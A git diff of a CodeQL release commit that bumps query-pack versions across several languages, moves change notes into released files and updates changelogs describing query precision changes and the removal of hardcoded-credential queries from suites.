1cfbcb1f030..68c2a91ba49 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.41-dev +version: 1.7.41 groups: - csharp - solorigate diff --git a/csharp/ql/lib/CHANGELOG.md b/csharp/ql/lib/CHANGELOG.md index 47503fa222e..1fcecc7f8e9 100644 --- a/csharp/ql/lib/CHANGELOG.md +++ b/csharp/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 5.1.7 + +### Minor Analysis Improvements + +* The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement). + ## 5.1.6 No user-facing changes. diff --git a/csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md b/csharp/ql/lib/change-notes/released/5.1.7.md similarity index 78% rename from csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md rename to csharp/ql/lib/change-notes/released/5.1.7.md index c45cce85982..2cc0418ad62 100644 --- a/csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md +++ b/csharp/ql/lib/change-notes/released/5.1.7.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 5.1.7 + +### Minor Analysis Improvements + * The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement). diff --git a/csharp/ql/lib/codeql-pack.release.yml b/csharp/ql/lib/codeql-pack.release.yml index 5ddeeed69fc..f26524e1fd9 100644 --- a/csharp/ql/lib/codeql-pack.release.yml +++ b/csharp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 5.1.6 +lastReleaseVersion: 5.1.7 diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index 3cfd3861377..6f5c0b15f3a 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.7-dev +version: 5.1.7 groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/src/CHANGELOG.md b/csharp/ql/src/CHANGELOG.md index a73c77f224f..b2384df0d06 100644 --- a/csharp/ql/src/CHANGELOG.md +++ b/csharp/ql/src/CHANGELOG.md @@ -1,3 +1,12 @@ +## 1.2.1 + +### Minor Analysis Improvements + +* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. +* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites. +* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account. +* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. + ## 1.2.0 ### Query Metadata Changes diff --git a/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md b/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md deleted file mode 100644 index ed9805f6ece..00000000000 --- a/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. diff --git a/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md b/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md deleted file mode 100644 index 2d8c5c1c56e..00000000000 --- a/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account. diff --git a/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md deleted file mode 100644 index 6255db9c199..00000000000 --- a/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites. diff --git a/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md b/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md deleted file mode 100644 index ee3d60fe4ff..00000000000 --- a/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. diff --git a/csharp/ql/src/change-notes/released/1.2.1.md b/csharp/ql/src/change-notes/released/1.2.1.md new file mode 100644 index 00000000000..2751be1db8a --- /dev/null +++ b/csharp/ql/src/change-notes/released/1.2.1.md @@ -0,0 +1,8 @@ +## 1.2.1 + +### Minor Analysis Improvements + +* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. +* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites. +* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account. +* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. diff --git a/csharp/ql/src/codeql-pack.release.yml b/csharp/ql/src/codeql-pack.release.yml index 75430e73d1c..73dd403938c 100644 --- a/csharp/ql/src/codeql-pack.release.yml +++ b/csharp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.0 +lastReleaseVersion: 1.2.1 diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index 7f4043b2c07..59800dabbdb 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.2.1-dev +version: 1.2.1 groups: - csharp - queries diff --git a/go/ql/consistency-queries/CHANGELOG.md b/go/ql/consistency-queries/CHANGELOG.md index c3254e1caad..a684ef060a5 100644 --- a/go/ql/consistency-queries/CHANGELOG.md +++ b/go/ql/consistency-queries/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/go/ql/consistency-queries/change-notes/released/1.0.24.md b/go/ql/consistency-queries/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/go/ql/consistency-queries/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/go/ql/consistency-queries/codeql-pack.release.yml b/go/ql/consistency-queries/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/go/ql/consistency-queries/codeql-pack.release.yml +++ b/go/ql/consistency-queries/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index 7c8b4515264..ce75cf33047 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.24-dev +version: 1.0.24 groups: - go - queries diff --git a/go/ql/lib/CHANGELOG.md b/go/ql/lib/CHANGELOG.md index b6031842a21..58e70d0c2bd 100644 --- a/go/ql/lib/CHANGELOG.md +++ b/go/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 4.2.6 + +No user-facing changes. + ## 4.2.5 No user-facing changes. diff --git a/go/ql/lib/change-notes/released/4.2.6.md b/go/ql/lib/change-notes/released/4.2.6.md new file mode 100644 index 00000000000..4b76e98c68b --- /dev/null +++ b/go/ql/lib/change-notes/released/4.2.6.md @@ -0,0 +1,3 @@ +## 4.2.6 + +No user-facing changes. diff --git a/go/ql/lib/codeql-pack.release.yml b/go/ql/lib/codeql-pack.release.yml index 1821397188e..2005a7a7f17 100644 --- a/go/ql/lib/codeql-pack.release.yml +++ b/go/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.2.5 +lastReleaseVersion: 4.2.6 diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 3451f49c2dc..49a4a809f13 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.6-dev +version: 4.2.6 groups: go dbscheme: go.dbscheme extractor: go diff --git a/go/ql/src/CHANGELOG.md b/go/ql/src/CHANGELOG.md index a90fa7b7034..794f600ad3e 100644 --- a/go/ql/src/CHANGELOG.md +++ b/go/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.2.1 + +### Minor Analysis Improvements + +* The query `go/hardcoded-credentials` has been removed from all query suites. + ## 1.2.0 ### Query Metadata Changes diff --git a/go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/go/ql/src/change-notes/released/1.2.1.md similarity index 64% rename from go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to go/ql/src/change-notes/released/1.2.1.md index b25a9b3d056..d96e9efc365 100644 --- a/go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/go/ql/src/change-notes/released/1.2.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.2.1 + +### Minor Analysis Improvements + * The query `go/hardcoded-credentials` has been removed from all query suites. diff --git a/go/ql/src/codeql-pack.release.yml b/go/ql/src/codeql-pack.release.yml index 75430e73d1c..73dd403938c 100644 --- a/go/ql/src/codeql-pack.release.yml +++ b/go/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.0 +lastReleaseVersion: 1.2.1 diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index 032ac335902..20e37c247ef 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.2.1-dev +version: 1.2.1 groups: - go - queries diff --git a/java/ql/lib/CHANGELOG.md b/java/ql/lib/CHANGELOG.md index 412521919b9..7391228e483 100644 --- a/java/ql/lib/CHANGELOG.md +++ b/java/ql/lib/CHANGELOG.md @@ -1,3 +1,10 @@ +## 7.3.0 + +### Deprecated APIs + +* The predicate `getValue()` on `SpringRequestMappingMethod` is now deprecated. Use `getAValue()` instead. +* Java now uses the shared `BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The `BasicBlock` class itself no longer extends `ControlFlowNode` - the predicate `getFirstNode` can be used to fix any QL code that somehow relied on this. + ## 7.2.0 ### New Features diff --git a/java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md b/java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md deleted file mode 100644 index 8b7effc535d..00000000000 --- a/java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: deprecated ---- -* The predicate `getValue()` on `SpringRequestMappingMethod` is now deprecated. Use `getAValue()` instead. diff --git a/java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md b/java/ql/lib/change-notes/released/7.3.0.md similarity index 72% rename from java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md rename to java/ql/lib/change-notes/released/7.3.0.md index e71ae5c1317..a40049582ef 100644 --- a/java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md +++ b/java/ql/lib/change-notes/released/7.3.0.md @@ -1,4 +1,6 @@ ---- -category: deprecated ---- +## 7.3.0 + +### Deprecated APIs + +* The predicate `getValue()` on `SpringRequestMappingMethod` is now deprecated. Use `getAValue()` instead. * Java now uses the shared `BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The `BasicBlock` class itself no longer extends `ControlFlowNode` - the predicate `getFirstNode` can be used to fix any QL code that somehow relied on this. diff --git a/java/ql/lib/codeql-pack.release.yml b/java/ql/lib/codeql-pack.release.yml index fda9ea165fc..2b9b871fffa 100644 --- a/java/ql/lib/codeql-pack.release.yml +++ b/java/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 7.2.0 +lastReleaseVersion: 7.3.0 diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index 8e1e06ab6b5..44271dee46b 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-all -version: 7.2.1-dev +version: 7.3.0 groups: java dbscheme: config/semmlecode.dbscheme extractor: java diff --git a/java/ql/src/CHANGELOG.md b/java/ql/src/CHANGELOG.md index 286ed1123af..fa038d728e6 100644 --- a/java/ql/src/CHANGELOG.md +++ b/java/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.5.1 + +### Minor Analysis Improvements + +* The query `java/hardcoded-credential-api-call` has been removed from all query suites. + ## 1.5.0 ### Query Metadata Changes diff --git a/java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/java/ql/src/change-notes/released/1.5.1.md similarity index 67% rename from java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to java/ql/src/change-notes/released/1.5.1.md index 18340ca8774..23e49bba729 100644 --- a/java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/java/ql/src/change-notes/released/1.5.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.5.1 + +### Minor Analysis Improvements + * The query `java/hardcoded-credential-api-call` has been removed from all query suites. diff --git a/java/ql/src/codeql-pack.release.yml b/java/ql/src/codeql-pack.release.yml index 639f80c4341..c5775c46013 100644 --- a/java/ql/src/codeql-pack.release.yml +++ b/java/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.0 +lastReleaseVersion: 1.5.1 diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index be53e6c8c0b..2938ce64cb3 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.5.1-dev +version: 1.5.1 groups: - java - queries diff --git a/javascript/ql/lib/CHANGELOG.md b/javascript/ql/lib/CHANGELOG.md index 2d7716b8393..91b86700ed4 100644 --- a/javascript/ql/lib/CHANGELOG.md +++ b/javascript/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 2.6.4 + +### Minor Analysis Improvements + +* Improved analysis for `ES6 classes` mixed with `function prototypes`, leading to more accurate call graph resolution. + ## 2.6.3 ### Minor Analysis Improvements diff --git a/javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md b/javascript/ql/lib/change-notes/released/2.6.4.md similarity index 73% rename from javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md rename to javascript/ql/lib/change-notes/released/2.6.4.md index 2303d3d8c62..90658374635 100644 --- a/javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md +++ b/javascript/ql/lib/change-notes/released/2.6.4.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 2.6.4 + +### Minor Analysis Improvements + * Improved analysis for `ES6 classes` mixed with `function prototypes`, leading to more accurate call graph resolution. diff --git a/javascript/ql/lib/codeql-pack.release.yml b/javascript/ql/lib/codeql-pack.release.yml index e2457adb03c..ac755647695 100644 --- a/javascript/ql/lib/codeql-pack.release.yml +++ b/javascript/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.6.3 +lastReleaseVersion: 2.6.4 diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index 87fb92c5baf..d28403132c4 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.6.4-dev +version: 2.6.4 groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/src/CHANGELOG.md b/javascript/ql/src/CHANGELOG.md index bd5cb345793..95b3d48ac2f 100644 --- a/javascript/ql/src/CHANGELOG.md +++ b/javascript/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.6.1 + +### Minor Analysis Improvements + +* The queries `js/hardcoded-credentials` and `js/password-in-configuration-file` have been removed from all query suites. + ## 1.6.0 ### Query Metadata Changes diff --git a/javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/javascript/ql/src/change-notes/released/1.6.1.md similarity index 73% rename from javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to javascript/ql/src/change-notes/released/1.6.1.md index 99af2e2c448..b66009e765f 100644 --- a/javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/javascript/ql/src/change-notes/released/1.6.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.6.1 + +### Minor Analysis Improvements + * The queries `js/hardcoded-credentials` and `js/password-in-configuration-file` have been removed from all query suites. diff --git a/javascript/ql/src/codeql-pack.release.yml b/javascript/ql/src/codeql-pack.release.yml index c4f0b07d533..ef7a789e0cf 100644 --- a/javascript/ql/src/codeql-pack.release.yml +++ b/javascript/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.6.0 +lastReleaseVersion: 1.6.1 diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 515ea8a3abd..986f2be84e6 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-queries -version: 1.6.1-dev +version: 1.6.1 groups: - javascript - queries diff --git a/misc/suite-helpers/CHANGELOG.md b/misc/suite-helpers/CHANGELOG.md index d65ced8b4c7..1959582a171 100644 --- a/misc/suite-helpers/CHANGELOG.md +++ b/misc/suite-helpers/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/misc/suite-helpers/change-notes/released/1.0.24.md b/misc/suite-helpers/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/misc/suite-helpers/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/misc/suite-helpers/codeql-pack.release.yml b/misc/suite-helpers/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/misc/suite-helpers/codeql-pack.release.yml +++ b/misc/suite-helpers/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index fa44a270665..e19aa4923af 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.24-dev +version: 1.0.24 groups: shared warnOnImplicitThis: true diff --git a/python/ql/lib/CHANGELOG.md b/python/ql/lib/CHANGELOG.md index 33813cf94e4..36d7cdbcc2f 100644 --- a/python/ql/lib/CHANGELOG.md +++ b/python/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 4.0.8 + +### Minor Analysis Improvements + +- The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add `paths-ignore: ["**/.*/**"]` to your [Code Scanning config](https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#specifying-directories-to-scan). If you would like to skip all hidden files, you can use `paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the `--codescanning-config` option. + ## 4.0.7 ### Minor Analysis Improvements diff --git a/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md b/python/ql/lib/change-notes/released/4.0.8.md similarity index 93% rename from python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md rename to python/ql/lib/change-notes/released/4.0.8.md index fcbb0a209ce..a87623b25b5 100644 --- a/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md +++ b/python/ql/lib/change-notes/released/4.0.8.md @@ -1,5 +1,5 @@ ---- -category: minorAnalysis ---- +## 4.0.8 + +### Minor Analysis Improvements - The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add `paths-ignore: ["**/.*/**"]` to your [Code Scanning config](https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#specifying-directories-to-scan). If you would like to skip all hidden files, you can use `paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the `--codescanning-config` option. diff --git a/python/ql/lib/codeql-pack.release.yml b/python/ql/lib/codeql-pack.release.yml index bf65f0dc10b..36a2330377d 100644 --- a/python/ql/lib/codeql-pack.release.yml +++ b/python/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.0.7 +lastReleaseVersion: 4.0.8 diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index c98ee1e15d4..e328f386c56 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.8-dev +version: 4.0.8 groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/src/CHANGELOG.md b/python/ql/src/CHANGELOG.md index c449304f0da..a65d9f84641 100644 --- a/python/ql/src/CHANGELOG.md +++ b/python/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.5.1 + +### Minor Analysis Improvements + +* The query `py/hardcoded-credentials` has been removed from all query suites. + ## 1.5.0 ### Query Metadata Changes diff --git a/python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/python/ql/src/change-notes/released/1.5.1.md similarity index 64% rename from python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to python/ql/src/change-notes/released/1.5.1.md index ee550ce449b..3b04255f33a 100644 --- a/python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/python/ql/src/change-notes/released/1.5.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.5.1 + +### Minor Analysis Improvements + * The query `py/hardcoded-credentials` has been removed from all query suites. diff --git a/python/ql/src/codeql-pack.release.yml b/python/ql/src/codeql-pack.release.yml index 639f80c4341..c5775c46013 100644 --- a/python/ql/src/codeql-pack.release.yml +++ b/python/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.0 +lastReleaseVersion: 1.5.1 diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index 6e181439ee0..d29907ecbe8 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.5.1-dev +version: 1.5.1 groups: - python - queries diff --git a/ruby/ql/lib/CHANGELOG.md b/ruby/ql/lib/CHANGELOG.md index 4d3dfc9c436..f637009e8a1 100644 --- a/ruby/ql/lib/CHANGELOG.md +++ b/ruby/ql/lib/CHANGELOG.md @@ -1,3 +1,15 @@ +## 4.1.7 + +### Minor Analysis Improvements + +* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. + +### Bug Fixes + +### Bug Fixes + +* The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension. + ## 4.1.6 No user-facing changes. diff --git a/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md b/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md deleted file mode 100644 index 3a0878e6553..00000000000 --- a/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. \ No newline at end of file diff --git a/ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md b/ruby/ql/lib/change-notes/released/4.1.7.md similarity index 68% rename from ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md rename to ruby/ql/lib/change-notes/released/4.1.7.md index b71b60c22b3..00625c5c5d8 100644 --- a/ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md +++ b/ruby/ql/lib/change-notes/released/4.1.7.md @@ -1,6 +1,11 @@ ---- -category: fix ---- +## 4.1.7 + +### Minor Analysis Improvements + +* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. + +### Bug Fixes + ### Bug Fixes * The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension. diff --git a/ruby/ql/lib/codeql-pack.release.yml b/ruby/ql/lib/codeql-pack.release.yml index 8b32e3bae01..6a89491cdb8 100644 --- a/ruby/ql/lib/codeql-pack.release.yml +++ b/ruby/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.1.6 +lastReleaseVersion: 4.1.7 diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml index 2548f8c1074..a13854cf27a 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.7-dev +version: 4.1.7 groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/CHANGELOG.md b/ruby/ql/src/CHANGELOG.md index 0a3ce10b979..3bf0a2d6312 100644 --- a/ruby/ql/src/CHANGELOG.md +++ b/ruby/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.3.1 + +### Minor Analysis Improvements + +* The query `rb/hardcoded-credentials` has been removed from all query suites. + ## 1.3.0 ### Query Metadata Changes diff --git a/ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/ruby/ql/src/change-notes/released/1.3.1.md similarity index 64% rename from ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to ruby/ql/src/change-notes/released/1.3.1.md index 684b1b3ea78..8d892f72ed0 100644 --- a/ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/ruby/ql/src/change-notes/released/1.3.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.3.1 + +### Minor Analysis Improvements + * The query `rb/hardcoded-credentials` has been removed from all query suites. diff --git a/ruby/ql/src/codeql-pack.release.yml b/ruby/ql/src/codeql-pack.release.yml index ec16350ed6f..e71b6d081f1 100644 --- a/ruby/ql/src/codeql-pack.release.yml +++ b/ruby/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.3.0 +lastReleaseVersion: 1.3.1 diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index ed987a47454..7247e94124a 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.3.1-dev +version: 1.3.1 groups: - ruby - queries diff --git a/rust/ql/lib/CHANGELOG.md b/rust/ql/lib/CHANGELOG.md index 3000a1098cc..f37d7ac4bae 100644 --- a/rust/ql/lib/CHANGELOG.md +++ b/rust/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.1.9 + +No user-facing changes. + ## 0.1.8 No user-facing changes. diff --git a/rust/ql/lib/change-notes/released/0.1.9.md b/rust/ql/lib/change-notes/released/0.1.9.md new file mode 100644 index 00000000000..e93006d794f --- /dev/null +++ b/rust/ql/lib/change-notes/released/0.1.9.md @@ -0,0 +1,3 @@ +## 0.1.9 + +No user-facing changes. diff --git a/rust/ql/lib/codeql-pack.release.yml b/rust/ql/lib/codeql-pack.release.yml index 3136ea4a1cc..1425c0edf7f 100644 --- a/rust/ql/lib/codeql-pack.release.yml +++ b/rust/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.8 +lastReleaseVersion: 0.1.9 diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index ce213d8ebba..17dea235850 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.9-dev +version: 0.1.9 groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/src/CHANGELOG.md b/rust/ql/src/CHANGELOG.md index a7c23fbfd30..8b870ea5f99 100644 --- a/rust/ql/src/CHANGELOG.md +++ b/rust/ql/src/CHANGELOG.md @@ -1,3 +1,7 